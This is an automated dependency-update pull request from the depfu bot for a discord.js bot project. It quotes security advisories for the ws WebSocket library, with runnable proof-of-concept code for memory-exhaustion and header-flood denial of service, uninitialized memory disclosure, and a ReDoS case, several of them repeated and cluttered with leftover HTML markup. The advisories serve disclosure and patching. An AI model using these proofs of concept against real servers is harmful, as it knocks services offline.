🚨 [security] Update discord.js 11.6.4 → 14.27.0 (major) by depfu[bot] · Pull Request #91 · DanBennettUK/CustomBotJS

depfu · 2026-07-17T08:40:30Z

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ discord.js (11.6.4 → 14.27.0) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

↗️ ws (indirect, 6.2.2 → 8.21.1) · Repo

Security Advisories 🚨

🚨 ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {

const data = Buffer.alloc(1);

const options = { fin: false };

const { port } = wss.address();

const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>);
ws.on('open', function () {

(function send() {

ws.send(data, options, function (err) {

if (err) return;

send();

});

})();

});
ws.on('error', console.error);

ws.on('close', function (code, reason) {

console.log(client close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);

});

});
wss.on('connection', function (ws) {

ws.on('error', console.error);

ws.on('close', function (code, reason) {

console.log(server close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);

});

});

Patches

The vulnerability was fixed in ws@8.21.0 (bca91ad) and backported to ws@7.5.11 (fd36cd8), ws@6.2.4 (86d3e8a), and ws@5.2.5 (b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

🚨 ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {

const data = Buffer.alloc(1);

const options = { fin: false };

const { port } = wss.address();

const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>);
ws.on('open', function () {

(function send() {

ws.send(data, options, function (err) {

if (err) return;

send();

});

})();

});
ws.on('error', console.error);

ws.on('close', function (code, reason) {

console.log(client close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);

});

});
wss.on('connection', function (ws) {

ws.on('error', console.error);

ws.on('close', function (code, reason) {

console.log(server close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);

});

});

Patches

The vulnerability was fixed in ws@8.21.0 (bca91ad) and backported to ws@7.5.11 (fd36cd8), ws@6.2.4 (86d3e8a), and ws@5.2.5 (b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

🚨 ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {

const data = Buffer.alloc(1);

const options = { fin: false };

const { port } = wss.address();

const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>);
ws.on('open', function () {

(function send() {

ws.send(data, options, function (err) {

if (err) return;

send();

});

})();

});
ws.on('error', console.error);

ws.on('close', function (code, reason) {

console.log(client close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);

});

});
wss.on('connection', function (ws) {

ws.on('error', console.error);

ws.on('close', function (code, reason) {

console.log(server close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);

});

});

Patches

The vulnerability was fixed in ws@8.21.0 (bca91ad) and backported to ws@7.5.11 (fd36cd8), ws@6.2.4 (86d3e8a), and ws@5.2.5 (b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

🚨 ws: Uninitialized memory disclosure

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer(

{ port: 0, skipUTF8Validation: true },

function () {

const { port } = wss.address();

const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>, {

skipUTF8Validation: true

});
<span class="pl-s1">ws</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-s">'close'</span><span class="pl-kos">,</span> <span class="pl-k">function</span> <span class="pl-kos">(</span><span class="pl-s1">code</span><span class="pl-kos">,</span> <span class="pl-s1">reason</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-en">deepStrictEqual</span><span class="pl-kos">(</span><span class="pl-s1">reason</span><span class="pl-kos">,</span> <span class="pl-v">Buffer</span><span class="pl-kos">.</span><span class="pl-en">alloc</span><span class="pl-kos">(</span><span class="pl-c1">80</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

}

);
wss.on('connection', function (ws) {

ws.close(1000, new Float32Array(20));

});

Patches

The vulnerability was fixed in ws@8.20.1 (c0327ec).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {

const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');

const headers = {};

let count = 0;
for (let i = 0; i < chars.length; i++) {

if (count === 2000) break;
<span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
  <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>

  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

}
headers.Connection = 'Upgrade';

headers.Upgrade = 'websocket';

headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';

headers['Sec-WebSocket-Version'] = '13';
const request = http.request({

headers: headers,

host: '127.0.0.1',

port: wss.address().port

});
request.end();

});

Patches

The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {

const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');

const headers = {};

let count = 0;
for (let i = 0; i < chars.length; i++) {

if (count === 2000) break;
<span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
  <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>

  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

}
headers.Connection = 'Upgrade';

headers.Upgrade = 'websocket';

headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';

headers['Sec-WebSocket-Version'] = '13';
const request = http.request({

headers: headers,

host: '127.0.0.1',

port: wss.address().port

});
request.end();

});

Patches

The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {

const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');

const headers = {};

let count = 0;
for (let i = 0; i < chars.length; i++) {

if (count === 2000) break;
<span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
  <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
  <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>

  <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

}
headers.Connection = 'Upgrade';

headers.Upgrade = 'websocket';

headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';

headers['Sec-WebSocket-Version'] = '13';
const request = http.request({

headers: headers,

host: '127.0.0.1',

port: wss.address().port

});
request.end();

});

Patches

The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

🚨 ReDoS in Sec-Websocket-Protocol header

Impact

A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.

Proof of concept
for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
  const value = 'b' + ' '.repeat(length) + 'x';
  const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);

}
Patches

The vulnerability was fixed in ws@7.4.6 (00c425e) and backported to ws@6.2.2 (78c676d) and ws@5.2.3 (76d47c1).

Workarounds

In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Credits

The vulnerability was responsibly disclosed along with a fix in private by Robert McLaughlin from University of California, Santa Barbara.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 @discordjs/builders (added, 1.14.1)

🆕 @discordjs/collection (added, 1.5.3)

🆕 @discordjs/formatters (added, 0.6.2)

🆕 @discordjs/rest (added, 2.6.2)

🆕 @discordjs/util (added, 1.2.0)

🆕 @discordjs/ws (added, 1.2.3)

🆕 @sapphire/async-queue (added, 1.5.5)

🆕 @sapphire/shapeshift (added, 4.0.0)

🆕 @sapphire/snowflake (added, 3.5.5)

🆕 @types/node (added, 26.1.1)

🆕 @types/ws (added, 8.18.1)

🆕 @vladfrangu/async_event_emitter (added, 2.4.7)

🆕 discord-api-types (added, 0.38.50)

🆕 lodash.snakecase (added, 4.1.1)

🆕 magic-bytes.js (added, 1.13.0)

🆕 ts-mixer (added, 6.0.4)

🆕 tslib (added, 2.8.1)

🆕 undici (added, 6.27.0)

🆕 undici-types (added, 8.3.0)

🗑️ async-limiter (removed)

🗑️ long (removed)

🗑️ prism-media (removed)

🗑️ snekfetch (removed)

🗑️ tweetnacl (removed)

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Update discord.js to version 14.27.0

9eaeb17

depfu Bot added the depfu label Jul 17, 2026

depfu Bot mentioned this pull request Jul 17, 2026

🚨 [security] Update discord.js 11.6.4 → 14.26.4 (major) #90

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🚨 [security] Update discord.js 11.6.4 → 14.27.0 (major) - #91

🚨 [security] Update discord.js 11.6.4 → 14.27.0 (major)#91
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depfu Bot commented Jul 17, 2026

What changed?

✳️ discord.js (11.6.4 → 14.27.0) · Repo · Changelog

↗️ ws (indirect, 6.2.2 → 8.21.1) · Repo

Impact

Proof of concept

Patches

Workarounds

Credits

Impact

Proof of concept

Patches

Workarounds

Credits

Impact

Proof of concept

Patches

Workarounds

Credits

Impact

Proof of concept

Patches

Credits

Remarks

Resources

Impact

Proof of concept

Patches

Workarounds

Credits

References

Impact

Proof of concept

Patches

Workarounds

Credits

References

Impact

Proof of concept

Patches

Workarounds

Credits

References

Impact

Proof of concept

Patches

Workarounds

Credits

🆕 @​discordjs/builders (added, 1.14.1)

🆕 @​discordjs/collection (added, 1.5.3)

🆕 @​discordjs/formatters (added, 0.6.2)

🆕 @​discordjs/rest (added, 2.6.2)

🆕 @​discordjs/util (added, 1.2.0)

🆕 @​discordjs/ws (added, 1.2.3)

🆕 @​sapphire/async-queue (added, 1.5.5)

🆕 @​sapphire/shapeshift (added, 4.0.0)

🆕 @​sapphire/snowflake (added, 3.5.5)

🆕 @​types/node (added, 26.1.1)

🆕 @​types/ws (added, 8.18.1)

🆕 @​vladfrangu/async_event_emitter (added, 2.4.7)

🆕 discord-api-types (added, 0.38.50)

🆕 lodash.snakecase (added, 4.1.1)

🆕 magic-bytes.js (added, 1.13.0)

🆕 ts-mixer (added, 6.0.4)

🆕 tslib (added, 2.8.1)

🆕 undici (added, 6.27.0)

🆕 undici-types (added, 8.3.0)

🗑️ async-limiter (removed)

🗑️ long (removed)

🗑️ prism-media (removed)

🗑️ snekfetch (removed)

🗑️ tweetnacl (removed)

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🆕 @discordjs/builders (added, 1.14.1)

🆕 @discordjs/collection (added, 1.5.3)

🆕 @discordjs/formatters (added, 0.6.2)

🆕 @discordjs/rest (added, 2.6.2)

🆕 @discordjs/util (added, 1.2.0)

🆕 @discordjs/ws (added, 1.2.3)

🆕 @sapphire/async-queue (added, 1.5.5)

🆕 @sapphire/shapeshift (added, 4.0.0)

🆕 @sapphire/snowflake (added, 3.5.5)

🆕 @types/node (added, 26.1.1)

🆕 @types/ws (added, 8.18.1)

🆕 @vladfrangu/async_event_emitter (added, 2.4.7)